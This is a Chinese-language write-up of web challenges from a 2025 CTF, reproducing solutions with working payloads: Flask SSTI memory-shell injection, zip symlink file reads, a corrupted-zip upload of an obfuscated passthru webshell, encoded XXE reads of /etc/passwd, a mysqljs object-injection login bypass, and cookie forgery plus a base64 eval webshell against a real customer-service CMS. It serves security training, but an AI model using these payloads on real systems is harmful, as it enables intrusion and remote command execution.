0%

2025第八届封神台CTF|WEB|复现

前言:

前段时间打的赏金赛,可惜太菜了就打了个前20拿不到奖金。。。

easyjs

描述:无

考点:js的类型强制转换

+"CTF"开头的 + 会尝试将字符串转为数字由于 "CTF" 不是有效数字,得到NaN(Not a Number)

1
ZKAQNaN

但是没出,后面我注意到Content-Type类型是text/html,改个Content-Type类型为application/json发送就得到flag了

魔法实验室

描述:你会魔法吗?如果你会魔法,我就把flag给你 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义

考点:SSTI内存马或SSTI响应头带数据

这题我打的非预期,bp抓包直接出

这题的预期解是打SSTI内存马

可以看到抓包到该网站使用python写的,再结合这个输入框可以猜测是SSTI注入,但是输入{{7*7}}啥都没有,直接打看看内存马

1
{{url_for.__globals__.__builtins__['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('o''s').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

官方的打法是通过SSTI响应头带出信息

1
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('o''s').popen('ls /').read())}}

当时服务器都是一样的,所以我猜测我的非预期是因为已经有人通过响应头带出flag了,所以我直接就看到了(想不懂出题人出这种题还用公用服务器。。。)

兔刀乐!兔刀乐!

描述:无

考点:rust整数溢出

整数溢出wrapping_add 在溢出时不会 panic,而是回绕(类似 (a + b) % 2^32)要让 balance 减少 98,可以发送 amount = 4294967296 - 98 = 4294967198,因为 100 + 4294967198 = 4294967298,溢出后 4294967298 % 4294967296 = 2

访问/buy_flag查看此时的id就可以得到flag了

webTools

描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 最近写了一个在线web小工具,还没正式上线,可以请你帮忙测试一下吗?调皮的maomao把flag叼走了

考点:zip软链接

这题我当时感觉应该是打zip软链接,但是我没打通没找到flag的路径。。。

先制作一个软链接

1
2
ln -s /etc/passwd 1.txt
zip --symlinks 1.zip 1.txt

上传后会执行unzip操作

然后当时打到这我不知道flag的路径了。。。

看了wp说在/home/maomao/flag.txt(我之前给人出题还出过这种的,结果自己做也没看到。。。)

制作个读flag的软链接

1
2
ln -s /home/maomao/flag.txt flag.txt
zip --symlinks flag.zip flag.txt

上传一下就出来了

图床

描述:新搭建了一个图床,快来一起玩耍吧~ 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义

考点:PHP开发服务器 <= 7.4.21远程源代码泄露、unzip逻辑漏洞绕过文件随机命名、黑名单绕过

当时我还以为出了两题软链接但是后面发现这题打不通

随便访问一个不存在的页面出现下面的页面,说明这是一个php -S服务

上传文件抓包可以看到有一个unzip.php对文件进行处理

利用远程源代码泄露漏洞读取一下这个页面

构造请求包(关闭长度更新以及开启显示回车换行)

可以看到已经读取到unzip.php的源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
<?php
error_reporting(0);

function get_extension($filename){
return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
$filePath = $path . DIRECTORY_SEPARATOR . $filename;

if (is_file($filePath)) {
$extension = strtolower(get_extension($filename));

if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
if (!unlink($filePath)) {
// echo "Fail to delete file: $filename\n";
return false;
}
else{
// echo "This file format is not supported:$extension\n";
return false;
}

}
else{
return true;
}
}
else{
// echo "nofile";
return false;
}
}
function file_rename ($path,$file){
$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
$oldPath = $path . DIRECTORY_SEPARATOR . $file;
$newPath = $path . DIRECTORY_SEPARATOR . $randomName;

if (!rename($oldPath, $newPath)) {
unlink($path . DIRECTORY_SEPARATOR . $file);
// echo "Fail to rename file: $file\n";
return false;
}
else{
return true;
}
}

function move_file($path,$basePath){
foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
if (!rename($file, $destination)){
// echo "Fail to rename file: $file\n";
return false;
}

}
return true;
}


function check_base($fileContent){
$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
$base64_keywords = [];
foreach ($keywords as $keyword) {
$base64_keywords[] = base64_encode($keyword);
}
foreach ($base64_keywords as $base64_keyword) {
if (strpos($fileContent, $base64_keyword)!== false) {
return true;

}
else{
return false;

}
}
}

function check_content($zip){
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
// echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);


if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n";
return false;
}
else {
continue;
}
}
return true;
}

function unzip($zipname, $basePath) {
$zip = new ZipArchive;

if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
else{
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
}

if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/images/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;

$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.html?status=success");
exit();
} else {
header("Location: index.html?status=$result");
exit();
}
} else {
header("Location: index.html?status=file_error");
exit();
}

先看到代码文件上传的部分

可以看到上传的zip文件被上传到upload/images/目录,并且对其进行了unzip操作

跟进到unzip()

可以看到其调用check_content()检测压缩包内文件的内容,并且使用check_extension()检测上传文件的扩展名,而且还会对解压后的文件进行随机命名防止我们访问到。

所以现在我们需要的就是绕过随机命名以及黑名单

先来看解压的关键代码

可以看到如果解压失败他会close()但是并没有用return来退出程序,这说明如果我们上传一个错误的zip文件导致他出现错误他只会close()而不会退出程序,zip里的文件还是会被解压到upload/images/目录的。

这时候就可以利用Linux下文件名不使用/来实现的构造损坏的压缩包

先构造一个木马文件tglu.php(这里直接用wp里的木马了)

1
2
3
4
5
6
7
8
9
<?php
$a = 'edoced_46esab';
$b = strrev($a); // 反转base64_decode

$c = "c@GFz@c3R@ocnU="; //base64加密后的passthru
$s = $b($c);

$s($_GET[1]);
?>

然后将其打包跟随便一个文件打包为1.zip

1
zip 1.zip tglu.php 1.txt

将压缩后的文件用010打开,修改1.txt文件名为/////(一定要确保文件名只有/

 2025-05-04 170633.png

此时上传这个zip文件,然后访问/upload/images/tglu.php可以发现已经解压成功了

然后直接获取flag

1
/upload/images/tglu.php?1=tac /f*

web-ssh

描述:王哥王哥,你的Xterminal确实好用,但是还是太吃操作了,有没有既简单又不吃操作的ssh连接方法,有的兄弟,有的,这么好用的系统当然是有的,直接用浏览器就能连哟~ 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义

考点:CVE-2022-45047

这题也是触到我的短板了,我还没有进行java的学习。。。

题目给了附件vps-ssh.jar,用jd-gui查看

pom.xml可以看到这是一个springboot程序并且处理ssh连接的依赖是2.9.1版本的Apache MINA SSHD

看了wp这个版本有个CVE-2022-45047,其实当时也是有搜到这个cve了但是网上没找到别人复现这个漏洞的文章只找到了一个检测的poc问题是还检测不出来,这里也是跟着wp打了。(这里反编译要注意jdk版本要21不然反编译可能失败)

1
java -cp "E:\jetbrains\IntelliJ IDEA 2023.3.6\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true vps-ssh.jar .\vps-ssh\

反编译后用idea打开,把MyController.javaString baseDir = System.getenv("basedir");改成自定义的的绝对路径

upload路由的作用主要是上传私钥文件,保存到本地路径(也就是这里自定义的路径),接着调用 SshUtils.getKeyPairFromFile() 解析私钥文件,生成 KeyPair 对象。最后将 KeyPair 序列化后保存为 .ser 文件。

接着审计,上面的commit路由

、

可以发现这是一个 SSH 命令执行的接口,关键点在runCommand(),跟进查看(这里没法直接转到,所以我用全局搜索)

这里的关键点其实就是从 conn 对象中获取密钥文件的路径 conn.getkeyPath(),创建一个File对象,然后获取其 Path 对象,并将其设置到 provider对象中,而这里的provider对象是一个SimpleGeneratorHostKeyProvider实例。(其实这里也是看了cve的报告才知道的)

跟进到SimpleGeneratorHostKeyProvider类,但是这里我lib中的jar他不会自动解压所以我在这里找了半天也没找到SimpleGeneratorHostKeyProvider类的定义,后面回到jd-gui才看到

可以看到doReadKeyPairs()使用反序列化,从输入流中读取之前序列化存储的KeyPair对象。

后面复现不出来了燃尽了。。。

easylogin

描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 提示:/api/login,多关注于请求和响应,在渗透中,正确的请求很重要!

考点:XXE编码绕过

当时这题我用双重实体编码但是没有绕过去,赛后才发现普通编码就够了。。。

抓包后改成POST请求,然后随便传个数据发现格式是xml的,猜测应该是xxe

 2025-05-07 201652.png

随便尝试一下发现被过滤了,用编码绕过

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#116;&#103;&#108;&#117;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#101;&#116;&#99;&#47;&#112;&#97;&#115;&#115;&#119;&#100;&#34;&#62;"> %xml;]><test>&tglu;</test>

发现flag文件在/home/flag但是事实上flag在/flag(有点狗的说),接着读取

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#116;&#103;&#108;&#117;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#34;&#62;"> %xml;]><test>&tglu;</test>

easylogin2

描述:首次访问弹出验证框输入:zkaq / zkaq 我可以很嚣张的告诉你:用户名是admin,后端用的是nodejs,我还用上了数据库,flag就放在后台 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义。

部分代码:
var mysql = require(“mysql”);
if (username && password) {
pool.query(
“SELECT * FROM accounts WHERE username = ? AND password = ?”,

考点:nodejs使用mysql module时导致的sql注入

先登录进系统是一个登录界面

当时打sql没打通,赛后看wp发现是nodejs在使用mysql module时,导致的sql注入。这里也是直接跟着文章打 通过绕过 mysqljs/mysql 中的转义函数查找未发现的 SQL 注入

先随便输入个用户名和密码然后抓包到auth端点,将身份验证请求复制为 fetch() 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
await fetch("http://cjdogggl.lab.aqlab.cn/auth", {
"credentials": "include",
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic emthcTp6a2Fx",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
},
"referrer": "http://cjdogggl.lab.aqlab.cn/",
"body": "username=admin&password=123456",
"method": "POST",
"mode": "cors"
});

改一下body为paylaod,在控制台运行一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
await fetch("http://cjdogggl.lab.aqlab.cn/auth", {
"credentials": "include",
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic emthcTp6a2Fx",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
},
"referrer": "http://cjdogggl.lab.aqlab.cn/",
"body": "username=admin&password[password]=1",
"method": "POST",
"mode": "cors"
});

可以看到控制台的response已经成功绕过跳转到home了

此时访问/home就绕过身份验证登录后台了

web进阶题 - kefu1

描述:无

考点:朵米客服平台漏洞:Cookie伪造、文件上传漏洞

用dirsearch扫描的时候发现/admin会跳转,访问是一个登录界面

搜索一下下载该CMS源码(我是只找到了一个靶场然后打进去后渗透拿源码),也可以直接找类似CMS的源码 https://github.com/15982073790/chat

查看源码是一个Thinkphp的CMS,在base.php里可以找到基础登录验证逻辑

关键点在于$token = Cookie::get('service_token');从Cookie中获取名为service_token的值,并将其赋给 $token 变量。所以我们如果能够伪造Cookie既可绕过身份验证。跟进到service_token的构造查看

跟进到cpEncode()

根据这个我们现在要伪造Cookie还差key,随便访问一个不存在的页面可以得到AIKF_SALT

根据他的逻辑伪造一下service_token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

function cpEncode($data, $key = '', $expire = 0)
{
$string = serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);

$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = sprintf('%010d', $expire ? $expire + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);

$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return rawurlencode($keyc . str_replace('=', '', base64_encode($result)));
}

// 调用函数生成伪造Cookie
$fakeCookie = cpEncode('admin', '1hyvrx4h77mdi9626i', 7*24*60*60);
echo "Generated Cookie: " . $fakeCookie;

1
c336nxVNJLmW4UZFCl4YYHkowcHg1rAB75rs5e1uD3Mujme%2FCZSsU08

替换后访问/service/index/index.html即可登录后台

然后接着就是跟着文章打就行了 https://get-shell.com/3153.html

在logo处随便上传个图片

抓包然后上传木马

1
img=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

然后连接蚁剑

获取flag